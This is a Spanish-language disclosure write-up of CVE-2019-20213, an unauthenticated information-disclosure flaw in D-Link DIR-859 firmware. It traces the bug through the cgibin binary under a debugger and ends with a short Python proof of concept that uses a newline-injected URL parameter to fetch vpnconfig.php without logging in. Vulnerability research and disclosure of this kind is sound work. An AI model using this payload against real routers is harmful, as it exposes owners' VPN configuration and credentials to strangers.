D-Link DIR-859 — Unauthenticated Information Disclosure (CVE-2019–20213) [ES]
--
Investigadores
- Miguel Mendez Z. — (s1kr10s)
- Pablo Pollanco — (secenv)
Detalle Técnico
- Modelo : DIR-859
- Versión de Firmware: 1.06b01 Beta01, 1.05
- Arquitectura: MIPS 32 bit
Vulnerabilidad
- Remote Unauthenticated Information Disclosure via WAN and LAN
Productos Afectados
Análisis de la vulnerabilidad
La función phpcgi_main() se ejecuta como punto de entrada del binario phpcgi (el que, en realidad, es un enlace simbólico al binario /htdocs/cgibin). Mediante esta función se procesan todas las solicitudes HTTP de tipo HEAD, GET o POST, cuya extensión de archivo solicitado sean php, asp, etc. Además, obtiene y procesa los parámetros enviados en la URL, creando cadenas de llaves y valores (Key=Value) para luego ser enviadas al intérprete de PHP.
Debido a una falla en el procesamiento del cuerpo de la petición, es posible omitir la autenticación requerida por el dispositivo al acceder a ciertos archivos PHP, mediante una solicitud HTTP modificada como se muestra a continuación:
Key puede ser HEAD, GET o POST
Value es un valor terminado con salto de línea "\n"
Ruta de la URL modificada: /vpnconfig.php?pwnd=%0aLa imagen muestra la estructura en modo flowgraph de la función phpcgi_main(), donde los cuadros coloreados en verde son la ruta a seguir para llegar al código vulnerable (cuadro morado).
Para iniciar el análisis, debemos depurar el binario “/htdocs/cgibin”. Para ello utilizamos qemu para virtualización, y un descompilador a gusto. En nuestro caso utilizamos IDA.
Arrancamos el siguiente script con los valores definidos como se muestra, con lo que iniciamos el proceso bajo el depurador.
Ponemos un punto de quiebre en phpcgi_main(), como se ve en la siguiente imagen. Nos enfocamos en la función cgibin_parse_request(), que comprueba la existencia de valores de la cabecera como el CONTENT_LENGTH y CONTENT_TYPE, además de hacer una llamada a parse_uri().
La función parse_uri() se encarga de validar la existencia del carácter “?” y ordena la estructura de la url enviada. En este punto podemos encontrar el valor que controlamos (AUTHORIZED_GROUP=1%0a).
Al retornar la ejecución desde cgibin_parse_request() a phpcgi_main(), algunas variables son inicializadas. Luego se ejecuta la función sess_validate(), la cual retorna un valor negativo 0xffffffff (-1 en decimal), quedando así el parámetro “AUTHORIZED_GROUP” con el valor -1.
Siguiendo con el análisis de la rutina, podemos observar como la información que enviamos es ordenada mediante funciones (sobj_add_string, sobj_add_char, sobj_get_string) usando el registro $a0, el cual se utiliza como puntero ptr_buffer formateando variables, quedando $a0 como argumento de xmldbc_ephp() para la validación final.
Después de la última copia con sobj_get_string, se puede observar en memoria como queda la variable AUTHORIZED_GROUP con el valor que nosotros controlamos.
Con esto, el código PHP será ejecutado, quedando la variable AUTHORIZED_GROUP con valor 1, con lo que tenemos autorización sobre la lectura de la configuración de la VPN (cuadro inferior de la siguiente imagen).
Después de ejecutar un simple curl con un payload valido, obtenemos la configuración almacenada del archivo vpnconfig.php.
Exploit PoC
import requests
# Miguel Mendez Z.FILES = ["vpnconfig.php"]
IP = "192.168.0.1"
PORT = "80"headers = {'content-type': 'application/x-www-form-urlencoded'}print "\n-----------VPN-------------\n"
url_vpn = 'http://{ip}:{port}/{file1}?pwnd=%0a'.format(ip=IP, port=PORT, file1=FILES[0])
print(requests.get(url_vpn).text)
Video
Versión en Ingles: https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-information-disclosure-en-faf1a9a13f3f
Dlink: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10147
By3…










